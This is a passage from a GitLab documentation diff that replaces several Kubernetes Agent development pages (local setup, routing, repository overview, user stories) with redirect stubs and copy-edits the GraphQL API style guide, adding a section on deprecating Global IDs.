-Kubernetes cluster to bypass any firewall or NAT the cluster may be located behind.
-To learn more about this inversion, read
-[issue #212810](https://gitlab.com/gitlab-org/gitlab/-/issues/212810).
-
-This diagram describes how GitLab (`GitLab RoR`), the GitLab Kubernetes Agent (`agentk`), and the GitLab Kubernetes Agent Server (`kas`) work together.
-
-```mermaid
-graph TB
- agentk -- gRPC bidirectional streaming --> kas
-
- subgraph "GitLab"
- kas[kas]
- GitLabRoR[GitLab RoR] -- gRPC --> kas
- kas -- gRPC --> Gitaly[Gitaly]
- kas -- REST API --> GitLabRoR
- end
-
- subgraph "Kubernetes cluster"
- agentk[agentk]
- end
-```
-
-- `GitLab RoR` is the main GitLab application. It uses gRPC to talk to `kas`.
-- `agentk` is the GitLab Kubernetes Agent. It keeps a connection established to a
- `kas` instance, waiting for requests to process. It may also actively send information
- about things happening in the cluster.
-- `kas` is the GitLab Kubernetes Agent Server, and is responsible for:
- - Accepting requests from `agentk`.
- - [Authentication of requests](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/identity_and_auth.md) from `agentk` by querying `GitLab RoR`.
- - Fetching agent's configuration from a corresponding Git repository by querying Gitaly.
- - Matching incoming requests from `GitLab RoR` with existing connections from
- the right `agentk`, forwarding requests to it and forwarding responses back.
- - (Optional) Sending notifications through ActionCable for events received from `agentk`.
- - Polling manifest repositories for [GitOps support](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/gitops.md) by communicating with Gitaly.
-
-<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
-To learn more about how the repository is structured, see
-[GitLab Kubernetes Agent repository overview](https://www.youtube.com/watch?v=j8CyaCWroUY).
-
-## Guiding principles
-
-GitLab prefers to add logic into `kas` rather than `agentk`. `agentk` should be kept
-streamlined and small to minimize the need for upgrades. On GitLab.com, `kas` is
-managed by GitLab, so upgrades and features can be added without requiring you
-to upgrade `agentk` in your clusters.
-
-`agentk` can't be viewed as a dumb reverse proxy because features are planned to be built
-[on top of the cache with informers](https://github.com/kubernetes/client-go/blob/ccd5becdffb7fd8006e31341baaaacd14db2dcb7/tools/cache/shared_informer.go#L34-L183).
+<!-- This redirect file can be deleted after <2022-06-24>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/agent/local.md b/doc/development/agent/local.md
index 50959b5c450..1fff5607de4 100644
--- a/doc/development/agent/local.md
+++ b/doc/development/agent/local.md
@@ -1,155 +1,9 @@
---
-stage: Configure
-group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+redirect_to: 'https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/local.md'
+remove_date: '2022-06-24'
---
-# Run the Kubernetes Agent locally **(PREMIUM SELF)**
+This file was moved to [another location](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/local.md).
-You can run `kas` and `agentk` locally to test the [Kubernetes Agent](index.md) yourself.
-
-1. Create a `cfg.yaml` file from the contents of
- [`config_example.yaml`](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/pkg/kascfg/config_example.yaml), or this example:
-
- ```yaml
- agent:
- listen:
- network: tcp
- address: 127.0.0.1:8150
- websocket: false
- gitops:
- poll_period: "10s"
- gitlab:
- address: http://localhost:3000
- authentication_secret_file: /Users/tkuah/code/ee-gdk/gitlab/.gitlab_kas_secret
- ```
-
-1. Create a `token.txt`. This is the token for
- [the agent you created](../../user/clusters/agent/index.md#create-an-agent-record-in-gitlab). This file must not contain a newline character. You can create the file with this command:
-
- ```shell
- echo -n "<TOKEN>" > token.txt
- ```
-
-1. Start the binaries with the following commands:
-
- ```shell
- # Need GitLab to start
- gdk start
- # Stop GDK's version of kas
- gdk stop gitlab-k8s-agent
-
- # Start kas
- bazel run //cmd/kas -- --configuration-file="$(pwd)/cfg.yaml"
- ```
-
-1. In a new terminal window, run this command to start `agentk`:
-
- ```shell
- bazel run //cmd/agentk -- --kas-address=grpc://127.0.0.1:8150 --token-file="$(pwd)/token.txt"
- ```
-
-You can also inspect the
-[Makefile](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/Makefile)
-for more targets.
-
-<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
-To learn more about how the repository is structured, see
-[GitLab Kubernetes Agent repository overview](https://www.youtube.com/watch?v=j8CyaCWroUY).
-
-## Run tests locally
-
-You can run all tests, or a subset of tests, locally.
-
-- **To run all tests**: Run the command `make test`.
-- **To run all test targets in the directory**: Run the command
- `bazel test //internal/module/gitops/server:all`.
-
- You can use `*` in the command, instead of `all`, but it must be quoted to
- avoid shell expansion: `bazel test '//internal/module/gitops/server:*'`.
-- **To run all tests in a directory and its subdirectories**: Run the command
- `bazel test //internal/module/gitops/server/...`.
-
-### Run specific test scenarios
-
-To run only a specific test scenario, you need the directory name and the target
-name of the test. For example, to run the tests at
-`internal/module/gitops/server/module_test.go`, the `BUILD.bazel` file that
-defines the test's target name lives at `internal/module/gitops/server/BUILD.bazel`.
-In the latter, the target name is defined like:
-
-```bazel
-go_test(
- name = "server_test",
- size = "small",
- srcs = [
- "module_test.go",
-```
-
-The target name is `server_test` and the directory is `internal/module/gitops/server/`.
-Run the test scenario with this command:
-
-```shell
-bazel test //internal/module/gitops/server:server_test
-```
-
-### Additional resources
-
-- Bazel documentation about [specifying targets to build](https://docs.bazel.build/versions/master/guide.html#specifying-targets-to-build).
-- [The Bazel query](https://docs.bazel.build/versions/master/query.html)
-- [Bazel query how to](https://docs.bazel.build/versions/master/query-how-to.html)
-
-## KAS QA tests
-
-This section describes how to run KAS tests against different GitLab environments based on the
-[GitLab QA orchestrator](https://gitlab.com/gitlab-org/gitlab-qa).
-
-### Status
-
-The `kas` QA tests currently have some limitations. You can run them manually on GDK, but they don't
-run automatically with the nightly jobs against the live environment. See the section below
-to learn how to run them against different environments.
-
-### Prepare
-
-Before performing any of these tests, if you have a `k3s` instance running, make sure to
-stop it manually before running them. Otherwise, the tests might fail with the message
-`failed to remove k3s cluster`.
-
-You might need to specify the correct Agent image version that matches the `kas` image version. You can use the `GITLAB_AGENTK_VERSION` local environment for this.
-
-### Against `staging`
-
-1. Go to your local `qa/qa/service/cluster_provider/k3s.rb` and comment out
- [this line](https://gitlab.com/gitlab-org/gitlab/-/blob/5b15540ea78298a106150c3a1d6ed26416109b9d/qa/qa/service/cluster_provider/k3s.rb#L8) and
- [this line](https://gitlab.com/gitlab-org/gitlab/-/blob/5b15540ea78298a106150c3a1d6ed26416109b9d/qa/qa/service/cluster_provider/k3s.rb#L36).
- We don't allow local connections on `staging` as they require an admin user.
-1. Ensure you don't have an `EE_LICENSE` environment variable set as this would force an admin login.
-1. Go to your GDK root folder and `cd gitlab/qa`.
-1. Login with your user in staging and create a group to be used as sandbox.
- Something like: `username-qa-sandbox`.
-1. Create an access token for your user with the `api` permission.
-1. Replace the values given below with your own and run:
-
- ```shell
- GITLAB_SANDBOX_NAME="<THE GROUP ID YOU CREATED ON STEP 2>" \
- GITLAB_QA_ACCESS_TOKEN="<THE ACCESS TOKEN YOU CREATED ON STEP 3>" \
- GITLAB_USERNAME="<YOUR STAGING USERNAME>" \
- GITLAB_PASSWORD="<YOUR STAGING PASSWORD>" \
- bundle exec bin/qa Test::Instance::All https://staging.gitlab.com -- --tag quarantine qa/specs/features/ee/api/7_configure/kubernetes/kubernetes_agent_spec.rb
- ```
-
-### Against GDK
-
-1. Go to your `qa/qa/fixtures/kubernetes_agent/agentk-manifest.yaml.erb` and comment out [this line](https://gitlab.com/gitlab-org/gitlab/-/blob/a55b78532cfd29426cf4e5b4edda81407da9d449/qa/qa/fixtures/kubernetes_agent/agentk-manifest.yaml.erb#L27) and uncomment [this line](https://gitlab.com/gitlab-org/gitlab/-/blob/a55b78532cfd29426cf4e5b4edda81407da9d449/qa/qa/fixtures/kubernetes_agent/agentk-manifest.yaml.erb#L28).
- GDK's `kas` listens on `grpc`, not on `wss`.
-1. Go to the GDK's root folder and `cd gitlab/qa`.
-1. On the contrary to staging, run the QA test in GDK as admin, which is the default choice. To do so, use the default sandbox group and run the command below. Make sure to adjust your credentials if necessary, otherwise, the test might fail:
-
- ```shell
- GITLAB_USERNAME=root \
- GITLAB_PASSWORD="5iveL\!fe" \
- GITLAB_ADMIN_USERNAME=root \
- GITLAB_ADMIN_PASSWORD="5iveL\!fe" \
- bundle exec bin/qa Test::Instance::All http://gdk.test:3000 -- --tag quarantine qa/specs/features/ee/api/7_configure/kubernetes/kubernetes_agent_spec.rb
- ```
+<!-- This redirect file can be deleted after <2022-06-24>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/agent/repository_overview.md b/doc/development/agent/repository_overview.md
index b9eea286a3e..43ea99889c5 100644
--- a/doc/development/agent/repository_overview.md
+++ b/doc/development/agent/repository_overview.md
@@ -1,98 +1,9 @@
---
-stage: Configure
-group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+redirect_to: 'https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/repository_overview.md'
+remove_date: '2022-06-24'
---
-# Kubernetes Agent repository overview **(PREMIUM SELF)**
+This file was moved to [another location](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/repository_overview.md).
-This page describes the subfolders of the Kubernetes Agent repository.
-[Development information](index.md) and
-[end-user documentation](../../user/clusters/agent/index.md) are both available.
-
-<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
-For a video overview, see
-[GitLab Kubernetes Agent repository overview](https://www.youtube.com/watch?v=j8CyaCWroUY).
-
-## `build`
-
-Various files for the build process.
-
-### `build/deployment`
-
-A [`kpt`](https://googlecontainertools.github.io/kpt/) package that bundles some
-[Kustomize](https://kustomize.io/) layers and components. Can be used as-is, or
-to create a custom package to install `agentk`.
-
-## `cmd`
-
-Commands are binaries that this repository produces. They are:
-
-- `kas` is the GitLab Kubernetes Agent Server binary.
-- `agentk` is the GitLab Kubernetes Agent binary.
-
-Each of these directories contain application bootstrap code for:
-
-- Reading configuration.
-- Applying defaults to it.
-- Constructing the dependency graph of objects that constitute the program.
-- Running it.
-
-### `cmd/agentk`
-
-- `agentk` initialization logic.
-- Implementation of the agent modules API.
-
-### `cmd/kas`
-
-- `kas` initialization logic.
-- Implementation of the server modules API.
-
-## `examples`
-
-Git submodules for the example projects.
-
-## `internal`
-
-The main code of both `gitlab-kas` and `agentk`, and various supporting building blocks.
-
-### `internal/api`
-
-Structs that represent some important pieces of data.
-
-### `internal/gitaly`
-
-Items to work with [Gitaly](../../administration/gitaly/index.md).
-
-### `internal/gitlab`
-
-GitLab REST client.
-
-### `internal/module`
-
-Modules that implement server and agent-side functionality.
-
-### `internal/tool`
-
-Various building blocks. `internal/tool/testing` contains mocks and helpers
-for testing. Mocks are generated with [`gomock`](https://pkg.go.dev/github.com/golang/mock).
-
-## `it`
-
-Contains scaffolding for integration tests. Unused at the moment.
-
-## `pkg`
-
-Contains exported packages.
-
-### `pkg/agentcfg`
-
-Contains protobuf definitions of the `agentk` configuration file. Used to configure
-the agent through a configuration repository.
-
-### `pkg/kascfg`
-
-Contains protobuf definitions of the `gitlab-kas` configuration file. Contains an
-example of that configuration file along with the test for it. The test ensures
-the configuration file example is in sync with the protobuf definitions of the
-file and defaults, which are applied when the file is loaded.
+<!-- This redirect file can be deleted after <2022-06-24>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/agent/routing.md b/doc/development/agent/routing.md
index 9a7d6422d47..7792d6d56a4 100644
--- a/doc/development/agent/routing.md
+++ b/doc/development/agent/routing.md
@@ -1,230 +1,9 @@
---
-stage: Configure
-group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+redirect_to: 'https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/kas_request_routing.md'
+remove_date: '2022-06-24'
---
-# Routing `kas` requests in the Kubernetes Agent **(PREMIUM SELF)**
+This file was moved to [another location](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/kas_request_routing.md).
-This document describes how `kas` routes requests to concrete `agentk` instances.
-GitLab must talk to GitLab Kubernetes Agent Server (`kas`) to:
-
-- Get information about connected agents. [Read more](https://gitlab.com/gitlab-org/gitlab/-/issues/249560).
-- Interact with agents. [Read more](https://gitlab.com/gitlab-org/gitlab/-/issues/230571).
-- Interact with Kubernetes clusters. [Read more](https://gitlab.com/gitlab-org/gitlab/-/issues/240918).
-
-Each agent connects to an instance of `kas` and keeps an open connection. When
-GitLab must talk to a particular agent, a `kas` instance connected to this agent must
-be found, and the request routed to it.
-
-## System design
-
-For an architecture overview please see
-[architecture.md](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/architecture.md).
-
-```mermaid
-flowchart LR
- subgraph "Kubernetes 1"
- agentk1p1["agentk 1, Pod1"]
- agentk1p2["agentk 1, Pod2"]
- end
-
- subgraph "Kubernetes 2"
- agentk2p1["agentk 2, Pod1"]
- end
-
- subgraph "Kubernetes 3"
- agentk3p1["agentk 3, Pod1"]
- end
-
- subgraph kas
- kas1["kas 1"]
- kas2["kas 2"]
- kas3["kas 3"]
- end
-
- GitLab["GitLab Rails"]
- Redis
-
- GitLab -- "gRPC to any kas" --> kas
- kas1 -- register connected agents --> Redis
- kas2 -- register connected agents --> Redis
- kas1 -- lookup agent --> Redis
-
- agentk1p1 -- "gRPC" --> kas1
- agentk1p2 -- "gRPC" --> kas2
- agentk2p1 -- "gRPC" --> kas1
- agentk3p1 -- "gRPC" --> kas2
-```
-
-For this architecture, this diagram shows a request to `agentk 3, Pod1` for the list of pods:
-
-```mermaid
-sequenceDiagram
- GitLab->>+kas1: Get list of running<br />Pods from agentk<br />with agent_id=3
- Note right of kas1: kas1 checks for<br />agent connected with agent_id=3.<br />It does not.<br />Queries Redis
- kas1->>+Redis: Get list of connected agents<br />with agent_id=3
- Redis-->-kas1: List of connected agents<br />with agent_id=3
- Note right of kas1: kas1 picks a specific agentk instance<br />to address and talks to<br />the corresponding kas instance,<br />specifying which agentk instance<br />to route the request to.
- kas1->>+kas2: Get the list of running Pods<br />from agentk 3, Pod1
- kas2->>+agentk 3 Pod1: Get list of Pods
- agentk 3 Pod1->>-kas2: Get list of Pods
- kas2-->>-kas1: List of running Pods<br />from agentk 3, Pod1
- kas1-->>-GitLab: List of running Pods<br />from agentk with agent_id=3
-```
-
-Each `kas` instance tracks the agents connected to it in Redis. For each agent, it
-stores a serialized protobuf object with information about the agent. When an agent
-disconnects, `kas` removes all corresponding information from Redis. For both events,
-`kas` publishes a notification to a Redis [pub-sub channel](https://redis.io/topics/pubsub).
-
-Each agent, while logically a single entity, can have multiple replicas (multiple pods)
-in a cluster. `kas` accommodates that and records per-replica (generally per-connection)
-information. Each open `GetConfiguration()` streaming request is given
-a unique identifier which, combined with agent ID, identifies an `agentk` instance.
-
-gRPC can keep multiple TCP connections open for a single target host. `agentk` only
-runs one `GetConfiguration()` streaming request. `kas` uses that connection, and
-doesn't see idle TCP connections because they are handled by the gRPC framework.
-
-Each `kas` instance provides information to Redis, so other `kas` instances can discover and access it.
-
-Information is stored in Redis with an [expiration time](https://redis.io/commands/expire),
-to expire information for `kas` instances that become unavailable. To prevent
-information from expiring too quickly, `kas` periodically updates the expiration time
-for valid entries. Before terminating, `kas` cleans up the information it adds into Redis.
-
-When `kas` must atomically update multiple data structures in Redis, it uses
-[transactions](https://redis.io/topics/transactions) to ensure data consistency.
-Grouped data items must have the same expiration time.
-
-In addition to the existing `agentk -> kas` gRPC endpoint, `kas` exposes two new,
-separate gRPC endpoints for GitLab and for `kas -> kas` requests. Each endpoint
-is a separate network listener, making it easier to control network access to endpoints
-and allowing separate configuration for each endpoint.
-
-Databases, like PostgreSQL, aren't used because the data is transient, with no need
-to reliably persist it.
-
-### `GitLab : kas` external endpoint
-
-GitLab authenticates with `kas` using JWT and the same shared secret used by the
-`kas -> GitLab` communication. The JWT issuer should be `gitlab` and the audience
-should be `gitlab-kas`.
-
-When accessed through this endpoint, `kas` plays the role of request router.
-
-If a request from GitLab comes but no connected agent can handle it, `kas` blocks
-and waits for a suitable agent to connect to it or to another `kas` instance. It
-stops waiting when the client disconnects, or when some long timeout happens, such
-as client timeout. `kas` is notified of new agent connections through a
-[pub-sub channel](https://redis.io/topics/pubsub) to avoid frequent polling.
-When a suitable agent connects, `kas` routes the request to it.
-
-### `kas : kas` internal endpoint
-
-This endpoint is an implementation detail, an internal API, and should not be used
-by any other system. It's protected by JWT using a secret, shared among all `kas`
-instances. No other system must have access to this secret.
-
-When accessed through this endpoint, `kas` uses the request itself to determine
-which `agentk` to send the request to. It prevents request cycles by only following
-the instructions in the request, rather than doing discovery. It's the responsibility
-of the `kas` receiving the request from the _external_ endpoint to retry and re-route
-requests. This method ensures a single central component for each request can determine
-how a request is routed, rather than distributing the decision across several `kas` instances.
-
-### Reverse gRPC tunnel
-
-This section explains how the `agentk` -> `kas` reverse gRPC tunnel is implemented.
-
-<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
-For a video overview of how some of the blocks map to code, see
-[GitLab Kubernetes Agent reverse gRPC tunnel architecture and code overview
-](https://www.youtube.com/watch?v=9pnQF76hyZc).
-
-#### High level schema
-
-In this example, `Server side of module A` exposes its API to get the `Pod` list
-on the `Public API gRPC server`. When it receives a request, it must determine
-the agent ID from it, then call the proxying code which forwards the request to
-a suitable `agentk` that can handle it.
-
-The `Agent side of module A` exposes the same API on the `Internal gRPC server`.
-When it receives the request, it needs to handle it (such as retrieving and returning
-the `Pod` list).
-
-This schema describes how reverse tunneling is handled fully transparently
-for modules, so you can add new features:
-
-```mermaid
-graph TB
- subgraph kas
- server-internal-grpc-server[Internal gRPC server]
- server-api-grpc-server[Public API gRPC server]
- server-module-a[Server side of module A]
- server-module-b[Server side of module B]
- end
- subgraph agentk
- agent-internal-grpc-server[Internal gRPC server]
- agent-module-a[Agent side of module A]
- agent-module-b[Agent side of module B]
- end
-
- agent-internal-grpc-server -- request --> agent-module-a
- agent-internal-grpc-server -- request --> agent-module-b
-
- server-module-a-. expose API on .-> server-internal-grpc-server
- server-module-b-. expose API on .-> server-api-grpc-server
-
- server-internal-grpc-server -- proxy request --> agent-internal-grpc-server
- server-api-grpc-server -- proxy request --> agent-internal-grpc-server
-```
-
-#### Implementation schema
-
-`HandleTunnelConnection()` is called with the server-side interface of the reverse
-tunnel. It registers the connection and blocks, waiting for a request to proxy
-through the connection.
-
-`HandleIncomingConnection()` is called with the server-side interface of the incoming
-connection. It registers the connection and blocks, waiting for a matching tunnel
-to proxy the connection through.
-
-After it has two connections that match, `Connection registry` starts bi-directional
-data streaming:
-
-```mermaid
-graph TB
- subgraph kas
- server-tunnel-module[Server tunnel module]
- connection-registry[Connection registry]
- server-internal-grpc-server[Internal gRPC server]
- server-api-grpc-server[Public API gRPC server]
- server-module-a[Server side of module A]
- server-module-b[Server side of module B]
- end
- subgraph agentk
- agent-internal-grpc-server[Internal gRPC server]
- agent-tunnel-module[Agent tunnel module]
- agent-module-a[Agent side of module A]
- agent-module-b[Agent side of module B]
- end
-
- server-tunnel-module -- "HandleTunnelConnection()" --> connection-registry
- server-internal-grpc-server -- "HandleIncomingConnection()" --> connection-registry
- server-api-grpc-server -- "HandleIncomingConnection()" --> connection-registry
- server-module-a-. expose API on .-> server-internal-grpc-server
- server-module-b-. expose API on .-> server-api-grpc-server
-
- agent-tunnel-module -- "establish tunnel, receive request" --> server-tunnel-module
- agent-tunnel-module -- make request --> agent-internal-grpc-server
- agent-internal-grpc-server -- request --> agent-module-a
- agent-internal-grpc-server -- request --> agent-module-b
-```
-
-### API definitions
-
-- [`agent_tracker/agent_tracker.proto`](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/internal/module/agent_tracker/agent_tracker.proto)
-- [`agent_tracker/rpc/rpc.proto`](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/internal/module/agent_tracker/rpc/rpc.proto)
-- [`reverse_tunnel/rpc/rpc.proto`](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/internal/module/reverse_tunnel/rpc/rpc.proto)
+<!-- This redirect file can be deleted after <2022-06-24>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/agent/user_stories.md b/doc/development/agent/user_stories.md
index ab135cad9d3..ce38064b31b 100644
--- a/doc/development/agent/user_stories.md
+++ b/doc/development/agent/user_stories.md
@@ -1,77 +1,9 @@
---
-stage: Configure
-group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+redirect_to: 'https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/user_stories.md'
+remove_date: '2022-06-24'
---
-# Kubernetes Agent user stories **(PREMIUM SELF)**
+This file was moved to [another location](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/user_stories.md).
-The [personas in action](https://about.gitlab.com/handbook/marketing/strategic-marketing/roles-personas/#user-personas)
-for the Kubernetes Agent are:
-
-- [Sasha, the Software Developer](https://about.gitlab.com/handbook/marketing/strategic-marketing/roles-personas/#sasha-software-developer).
-- [Allison, the Application Operator](https://about.gitlab.com/handbook/marketing/strategic-marketing/roles-personas/#allison-application-ops).
-- [Priyanka, the Platform Engineer](https://about.gitlab.com/handbook/marketing/strategic-marketing/roles-personas/#priyanka-platform-engineer).
-
-[Devon, the DevOps engineer](https://about.gitlab.com/handbook/marketing/strategic-marketing/roles-personas/#devon-devops-engineer)
-is intentionally excluded here, as DevOps is more of a role than a persona.
-
-There are various workflows to support, so some user stories might seem to contradict each other. They don't.
-
-## Software Developer user stories
-
-<!-- vale gitlab.FirstPerson = NO -->
-
-- As a Software Developer, I want to push my code, and move to the next development task,
- to work on business applications.
-- As a Software Developer, I want to set necessary dependencies and resource requirements
- together with my application code, so my code runs fine after deployment.
-
-<!-- vale gitlab.FirstPerson = YES -->
-
-## Application Operator user stories
-
-<!-- vale gitlab.FirstPerson = NO -->
-
-- As an Application Operator, I want to standardize the deployments used by my teams,
- so I can support all teams with minimal effort.
-- As an Application Operator, I want to have a single place to define all the deployments,
- so I can assure security fixes are applied everywhere.
-- As an Application Operator, I want to offer a set of predefined templates to
- Software Developers, so they can get started quickly and can deploy to production
- without my intervention, and I am not a bottleneck.
-- As an Application Operator, I want to know exactly what changes are being deployed,
- so I can fulfill my SLAs.
-- As an Application Operator, I want deep insights into what versions of my applications
- are running and want to be able to debug them, so I can fix operational issues.
-- As an Application Operator, I want application code to be automatically deployed
- to staging environments when new versions are available.
-- As an Application Operator, I want to follow my preferred deployment strategy,
- so I can move code into production in a reliable way.
-- As an Application Operator, I want review all code before it's deployed into production,
- so I can fulfill my SLAs.
-- As an Application Operator, I want to be notified before deployment when new code needs my attention,
- so I can review it swiftly.
-
-<!-- vale gitlab.FirstPerson = YES -->
-
-## Platform Engineer user stories
-
-<!-- vale gitlab.FirstPerson = NO -->
-
-- As a Platform Engineer, I want to restrict customizations to preselected values
- for Operators, so I can fulfill my SLAs.
-- As a Platform Engineer, I want to allow some level of customization to Operators,
- so I don't become a bottleneck.
-- As a Platform Engineer, I want to define all deployments in a single place, so
- I can assure security fixes are applied everywhere.
-- As a Platform Engineer, I want to define the infrastructure by code, so my
- infrastructure management is testable, reproducible, traceable, and scalable.
-- As a Platform Engineer, I want to define various policies that applications must
- follow, so that I can fulfill my SLAs.
-- As a Platform Engineer, I want approved tooling for log management and persistent storage,
- so I can scale, secure, and manage them as needed.
-- As a Platform Engineer, I want to be alerted when my infrastructure differs from
- its definition, so I can make sure that everything is configured as expected.
-
-<!-- vale gitlab.FirstPerson = YES -->
+<!-- This redirect file can be deleted after <2022-06-24>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/api_graphql_styleguide.md b/doc/development/api_graphql_styleguide.md
index 4d521d11a69..c12b66a94a7 100644
--- a/doc/development/api_graphql_styleguide.md
+++ b/doc/development/api_graphql_styleguide.md
@@ -22,7 +22,7 @@ which is exposed as an API endpoint at `/api/graphql`.
## Deep Dive
In March 2019, Nick Thomas hosted a Deep Dive (GitLab team members only: `https://gitlab.com/gitlab-org/create-stage/issues/1`)
-on the GitLab [GraphQL API](../api/graphql/index.md) to share his domain specific knowledge
+on the GitLab [GraphQL API](../api/graphql/index.md) to share domain-specific knowledge
with anyone who may work in this part of the codebase in the future. You can find the
<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
[recording on YouTube](https://www.youtube.com/watch?v=-9L_1MWrjkg), and the slides on
@@ -68,9 +68,7 @@ Complexity is explained [on our client-facing API page](../api/graphql/index.md#
Fields default to adding `1` to a query's complexity score, but developers can
[specify a custom complexity](#field-complexity) when defining a field.
-To estimate the complexity of a query, you can run the
-[`gitlab:graphql:analyze`](rake_tasks.md#analyze-graphql-queries)
-Rake task.
+The complexity score of a query [can itself be queried for](../api/graphql/getting_started.md#query-complexity).
### Request timeout
@@ -83,7 +81,7 @@ developers must familiarize themselves with our [Deprecation and Removal process
Breaking changes are:
-- Removing or renaming a field, argument, enum value or mutation.
+- Removing or renaming a field, argument, enum value, or mutation.
- Changing the type of a field, argument or enum value.
- Raising the [complexity](#max-complexity) of a field or complexity multipliers in a resolver.
- Changing a field from being _not_ nullable (`null: false`) to nullable (`null: true`), as
@@ -96,7 +94,7 @@ discussed in [Nullable fields](#nullable-fields).
Fields that use the [`feature_flag` property](#feature_flag-property) and the flag is disabled by default are exempt
from the deprecation process, and can be removed at any time without notice.
-See the [deprecating fields and enum values](#deprecating-fields-arguments-and-enum-values) section for how to deprecate items.
+See the [deprecating fields, arguments, and enum values](#deprecating-fields-arguments-and-enum-values) section for how to deprecate items.
## Global IDs
@@ -110,6 +108,7 @@ See also:
- [Exposing Global IDs](#exposing-global-ids).
- [Mutation arguments](#object-identifier-arguments).
+- [Deprecating Global IDs](#deprecate-global-ids).
We have a custom scalar type (`Types::GlobalIDType`) which should be used as the
type of input and output arguments when the value is a `GlobalID`. The benefits
@@ -117,12 +116,12 @@ of using this type instead of `ID` are:
- it validates that the value is a `GlobalID`
- it parses it into a `GlobalID` before passing it to user code
-- it can be parameterized on the type of the object (e.g.
+- it can be parameterized on the type of the object (for example,
`GlobalIDType[Project]`) which offers even better validation and security.
Consider using this type for all new arguments and result types. Remember that
it is perfectly possible to parameterize this type with a concern or a
-supertype, if you want to accept a wider range of objects (e.g.
+supertype, if you want to accept a wider range of objects (such as
`GlobalIDType[Issuable]` vs `GlobalIDType[Issue]`).
## Types
@@ -206,7 +205,7 @@ Further reading:
- [GraphQL Best Practices Guide](https://graphql.org/learn/best-practices/#nullability).
- GraphQL documentation on [Object types and fields](https://graphql.org/learn/schema/#object-types-and-fields).
- [GraphQL Best Practices Guide](https://graphql.org/learn/best-practices/#nullability)
-- [Using nullability in GraphQL](https://www.apollographql.com/blog/using-nullability-in-graphql-2254f84c4ed7)
+- [Using nullability in GraphQL](https://www.apollographql.com/blog/graphql/basics/using-nullability-in-graphql/)
### Exposing Global IDs
@@ -341,7 +340,7 @@ For example, instead of `latest_pipeline`, use `pipelines(last: 1)`.
By default, the API returns at most a maximum number of records defined in
[`app/graphql/gitlab_schema.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/graphql/gitlab_schema.rb)
-per page within a connection and this will also be the default number of records
+per page in a connection and this is also the default number of records
returned per page if no limiting arguments (`first:` or `last:`) are provided by a client.
The `max_page_size` argument can be used to specify a different page size limit
@@ -369,7 +368,7 @@ Complexity is described in [our client documentation](../api/graphql/index.md#ma
Complexity limits are defined in [`app/graphql/gitlab_schema.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/graphql/gitlab_schema.rb).
-By default, fields will add `1` to a query's complexity score. This can be overridden by
+By default, fields add `1` to a query's complexity score. This can be overridden by
[providing a custom `complexity`](https://graphql-ruby.org/queries/complexity_and_depth.html) value for a field.
Developers should specify higher complexity for fields that cause more _work_ to be performed
@@ -390,7 +389,7 @@ field :blob, type: Types::Snippets::BlobType,
calls_gitaly: true
```
-This will increment the [`complexity` score](#field-complexity) of the field by `1`.
+This increments the [`complexity` score](#field-complexity) of the field by `1`.
If a resolver calls Gitaly, it can be annotated with
`BaseResolver.calls_gitaly!`. This passes `calls_gitaly: true` to any
@@ -480,7 +479,7 @@ You can refer to these guidelines to decide which approach to use:
The `feature_flag` property allows you to toggle the field's
[visibility](https://graphql-ruby.org/authorization/visibility.html)
-within the GraphQL schema. This removes the field from the schema
+in the GraphQL schema. This removes the field from the schema
when the flag is disabled.
A description is [appended](https://gitlab.com/gitlab-org/gitlab/-/blob/497b556/app/graphql/types/base_field.rb#L44-53)
@@ -595,6 +594,103 @@ end
If the field, argument, or enum value being deprecated is not being replaced,
a descriptive deprecation `reason` should be given.
+### Deprecate Global IDs
+
+We use the [`rails/globalid`](https://github.com/rails/globalid) gem to generate and parse
+Global IDs, so as such they are coupled to model names. When we rename a
+model, its Global ID changes.
+
+If the Global ID is used as an _argument_ type anywhere in the schema, then the Global ID
+change would normally constitute a breaking change.
+
+To continue to support clients using the old Global ID argument, we add a deprecation
